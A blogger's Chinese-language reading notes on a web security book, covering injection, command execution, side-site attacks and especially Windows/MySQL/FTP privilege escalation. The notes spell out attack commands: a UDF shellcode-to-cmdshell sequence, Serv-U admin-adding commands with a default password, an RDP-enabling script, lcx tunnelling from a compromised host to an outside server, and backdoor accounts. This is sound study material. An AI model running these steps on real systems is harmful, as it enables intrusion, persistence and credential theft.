[读书笔记]《Web安全深度剖析》

《Web安全深度剖析》的作者是张炳帅,这本书从WEB安全基础到实战,既有理论,也有实际操练,阅读本书,记录不熟悉之处,建立成熟的知识框架。

web安全

《Web安全深度剖析》从攻到防,从原理到实战,由浅入深、循序渐进地介绍了Web 安全体系。全书分4 篇共16 章,除介绍Web 安全的基础知识外,还介绍了Web 应用程序中最常见的安全漏洞、开源程序的攻击流程与防御,并着重分析了“拖库”事件时黑客所使用的攻击手段。此外,还介绍了渗透测试工程师其他的一些检测方式。

只记录了不熟悉之处…


0x01 黑帽SEO劫持

利用HTTP协议中的RefererUser-agent

  1. 建立搜索引擎库
  2. 获取HTTP Referer
  3. 遍历搜索引擎库

0x02 Nmap

一般使用:
nmap -sP xxx.xxx.xxx.xxx/24

nmap -p 80,8080,1433,3389 xxx.xxx.xxx.xxx

nmap -o xxx.xxx.xxx.xxx

nmap -v -A xxx.xxx.xxx.xxx

-p- 参数扫描65535个端口

nmap -Pn -A xxx.xxx.xxx.xxx 穿透防火墙

nmap -h

reference: https://svn.nmap.org/nmap/docs/nmap.usage.txt


0x03 扫描器

博主推荐几款:

AWVSJSKYBURPSUITEAPPSCANWVS御剑


0x04 SQL注入

用十六进制 0x... 代替单引号

select hex(load_file(char(99,58,92,49,46,116,120,116)))

%d5%27 宽字节注入

SqlmapPangolin明小子阿DHavij


0x05 上传漏洞

中间人攻击

MIME 验证

编辑器敏感信息等


0x06 命令执行

在windows系统下 &&&||| 用于连接执行两条命令

PHP命令执行函数:system()echo `` preg_replace()ob_start()array_map()

JAVA命令执行:Runtime.getRuntime().exec()

Struts2


0x07 文件包含

JSP包含:<%@ include file="page.txt"%> 会当作jsp文件解析 静态包含

<%@ include page="page.txt"%> 动态包含


CSRFtester.jar

逻辑错误漏洞

密码找回、越权、支付逻辑、资料修改

代码注入、xml注入

XPath注入:

Reference: https://blog.csdn.net/quiet_girl/article/details/50588130

JSON注入:

Reference: http://www.51testing.com/html/61/n-2502761.html

HTTP Parameter Pollution

URL跳转&钓鱼


0x08 实战篇

0day攻击

网站后台安全:模版、文件管理、执行SQL语句、网站备份

MD5不安全


0x09 综合篇

暴力破解:Hydra

Refernece:https://www.cnblogs.com/ECJTUACM-873284962/p/7805116.html

Burpsuite中的intruder

OA系统:ROOTSAAdministratoradmin

邮箱搜集用户名,错误提示搜集

破解验证码:机器学习验证码识别、暴力破解


0x10 旁注攻击

目标站点->IP->旁站下手->Getshell->目标站点

SQL跨库查询、目录越权

CDN is a great thing!

子域名

phpinfo()

IP地址变化

邮件服务器

国外代理访问真实IP

DNS解析记录


0x11 提权

到这里就要吐槽一下,刚开始阅读这本书的时候,有较大的期待,只是到这里已经是第14章了,前面的知识还是有些太基础了,只能作为知识扩充的目的,基本是在应用层面

1.溢出提权

nc监听本地端口(用于反弹shell 交互式命令):
nc.exe -l -n -v -p 8888

Linux下:id & uname -a 查看当前用户的id和所属群组ID,以及内核版本号

用一些exp溢出程序反弹shell,获取root权限

Windows提权:服务器支持的脚本语言,ASP通过wscript.shell,ASP.NET通过.NET Framework,JSP中通过调用JVM

.aspx shell文件执行命令,因为针对.NET Framework的命令执行防护几乎为零

/c : 执行命令后终止
/k :执行命令后保留
/s :修改/c或/k后的字符串处理
/q :关闭回显
/d :禁止从注册表执行AutoRun命令
/a :使管道或文件的内部命令输出为 ANSI
/u :使管道或文件内部命令输出为 Unicode

2.第三方组建提权

a.信息搜集:

1.服务器支持脚本语言;

2.服务器端口探测;(namp -A -p- 192.168.1.1

3.搜集路径信息;(注册表)

b.数据库提权:
SQL Server:

xp_cmdshell

MYSQL:

UDF(User Defined Function)提权:

CREATE TABLE TempTable(UDF BLOB);    //创建临时表
INSERT INTOTempTableVALUES (CONVERT(shellcode,CHAR));    //插入shellcode
SELECT UDF FROM TempTable INTO DUMPFILE 'C:\Windows\udf.dll';    //导出udf.dll
DROP TABLE TempTable;    //删除临时表
create function cmdshell returns strng soname 'udf.dll';    //创建cmdshell函数
select cmdshell('net user');    //执行命令
drop function cmdshell;        //删除cmdshell函数

MYSQL所有账户信息在:./data/mysql/user.MYD 中,跨站须知

3.FTP提权

quote site exec net user

Serv-U 提权

Serv-U 监听端口 43958,管理用户的默认账号:LocalAdministrator 密码:#l@$ak#.lk;0@P,其Serv-U目录下的ServUAdmin.exe下载到本地,16进制查看密码。其次在其目录下,还有一个ServUDaemon.ini保存着所有FTP账号信息。一般在大马都集成了。

提权思路:Serv-U 修改serv-u配置文件 添加超级管理员

步骤:
[USER=lx|1]
Password=uc8270A0A37BE006573C96DB29DF42DEE8
HomeDir=c:\
TimeOut=600
Maintenance=System
Access1=C:\|RWAMELCDP

用cmd登陆ftp,,然后在执行下列命令添加用户

quote site exec net user 用户 密码 /add 添加用户
quote site exec net localgroup administrators 用户 /add 添加到管理员组

C:\Program Files\RhinoSoft.com\Serv-U 默认端口43958 修改的文件ServUDaemon.ini (默认路径)

G6 FTP提权:

默认监听8021端口

需要LCX端口转发:lcx.exe -tran 1234 127.0.0.1 8021

FileZilla 提权

把配置文件下载下来,有明文账号密码,本地找一下~

FlashFXP:下载其文件

下载flashfxp下的配置文件(quick.dat)覆盖到本地,然后星号查看器查看出密码,你懂啦~
falshfxp默认安装目录:C:\Program Files\flashfxp
在其安装目录中找到以下文件并予以下载quick.dat

然后本机下载且安装flashfxp,将以上三个文件放置于本件安装安装flashfxp目录下,会提示已经有了是否覆盖
直接点击确定覆盖。然后再次打开flashfxp快速连接,在历史的那里就直接有目标机的地址了。帐号轻而易举的获得(用星号查看器),如此便OK。可以尝试用ftp密码当作3389的密码登录试试!

FTP的基本都在本地的配置文件可得到敏感信息,然后直接利用就好了

4.PCanywhere提权

5631端口

寻找C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\Hosts.CIF文件,由用户的信息

5.虚拟主机提权

星外虚拟主机:D:\freehost\xxxx\ 有一个0day,iis.exe

华众虚拟主机:D:\hzhost\xxxx\

新网虚拟主机:D:\virtualhost\xxxxx\

万网虚拟主机:D:\usr\xxxx\

D:\virtualhost\web580651\www\ 新网虚拟主机

F:\usr\fw04408\xpinfo\ 万网虚拟主机

D:\hosting\wwwroot\ Prim@Hosting虚拟主机

e:\wwwroot\longzhihu\wwwroot\ 华众虚拟主机

d:\freehost\zhoudeyang\web\ 星外虚拟主机主机

D:\vhostroot\LocalUser\gdrt\ 星外分支

f:\host\wz8088\web\ 星外分支

D:\vhostroot\localuser\ vhostroot

注册表中一些敏感的位置/注册表/注册表敏感目录/
HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServerSuperSocketNetLibTcp     Mssql端口
HKLMSYSTEMCurrentControlSetControlTerminal Server DenyTSConnections     远程终端 值为0 即为开启
HKEY_LOCAL_MACHINESOFTWAREMySQL AB         mssql的注册表位置
HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG         华众主机注册表配置位置
HKEY_LOCAL_MACHINESOFTWARECat SoftServ-UDomains1UserList         serv-u的用户及密码(su加密)位置
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer WinStationsRDP-Tcp         在该注册表位置PortNumber的值即位3389端口值
HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers         mysql管理工具Navicat的注册表位置,提权运用请谷歌
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters         Radmin的配置文件,提权中常将其导出进行进行覆盖提权
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual         Roots IIS注册表全版本泄漏用户路径和FTP用户名漏洞
HKEY_LOCAL_MACHINEsoftwarehzhostconfigSettingsmastersvrpass         华众主机在注册表中保存的mssql、mysql等密码
HKEY_LOCAL_MACHINESYSTEMLIWEIWENSOFTINSTALLFREEADMIN11         星外主机mssql的sa账号密码,双MD5加密
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual RootsControlSet002         星外ftp的注册表位置,当然也包括ControlSet001、ControlSet003

6.提权辅助

3389 port RDP:

开启3389 port端口的 .bat文件源码

echo Windows Registry Editor Version 5.00>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server]>>3389.reg
echo "fDenyTSConnections"=dword:00000000>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp]>>3389.reg
echo "PortNumber"=dword:00000d3d>>3389.reg
regedit /s 3389.reg
del 3389.reg

寻找开放远程桌面的方法:1.扫描全部端口;2.cmd查看(之前一篇文章 https://blog.dyboy.cn/websecurity/59.html

端口转发:

LCX:
自己的外网服务器(IP:45.45.45.45)执行 :lcx.exe -listen 500 8888   //服务器监听500和8888端口,51端口的流量转发到8888端口

在肉鸡/webshell(IP:192.168.1.103)上执行:lcx.exe -slave 45.45.45.45 500 127.0.0.1 3389        //将内网的肉鸡3389端口转发到外网服务器上

//这样以后,外网服务器上直接mstsc 连接 127.0.0.1:8888 即可连上内网主机的RDP

效果:

lcx

reDuh转发:

Reference: https://github.com/sensepost/reDuh

启动项提权

c:\Documents and Settings\Administrator\[开始]菜单\启动 目录

参考代码:

//test.vbs
@echo off
net user dyboy admin123 /add
net localgroup administrators dyboy /add
DLL劫持

Tools Lpk Sethc

7.添加后门

后门程序,建立超级隐藏账户

获取管理员账号密码 :mimikatz_trunk

克隆账户

远程控制程序

线程插入后门

建立畸形web后门

shif后门
C:\WINDOWS\system32\sethc.exe
C:\WINDOWS\system32\sethc.exe.exesethc.exe换成自己的shift就可以了。

防御简单说一下,三方组件安全性,权限控制最小原则,服务器安全防护软件,定期做好日志检查等维护工作,关注漏洞最新动态,做好应急预案


0x12 ARP攻击

这里主要是局域网内的攻击,ARP欺骗,没看应该大致差不多了,需要的时候再详细了解。

参考文章:《[局域网劫持]如何搞懵蹭网的同学-详细过程

ARP攻击防御:

  1. 静态绑定=主机IP+MAC地址绑定
  2. ARP防火墙(博主家里的360路由器自带很多防御功能,安全!以至于不好做实验~)

0x13 社会工程学

工程为下,攻心为上!

推荐一本书《欺骗的艺术》

社会工程学可以说是适用于任何一个领域,因为任何的领域都存在沟通。只要存在沟通的地方,就存在社会工程更学。而社工师就像一个魔术师(男人都是大骗子),用他的左手吸引你的注意力,而右手却在窃取你的秘密。


0x14 刑法补充…

中华人民共和国网络安全法

黑客:

黑客

白帽子:

白帽子


0x15 总结

这本《WEB安全深度剖析》是和《白帽子讲WEB安全》一起买的,虽然此书前面部分有些基础(推荐打基础看《白帽子讲WEB安全》),后面的提权部分正是我看到非常有价值的地方。提权进阶还有一段路要走,只能在实践经验中总结。此书后半部分更偏向于实践,在我看来,安全本就是一群不安分的人经验和总结。阅读完两位前辈的书,受益匪浅,向前辈致敬,也继往开来!

发表评论 / Comment

用心评论~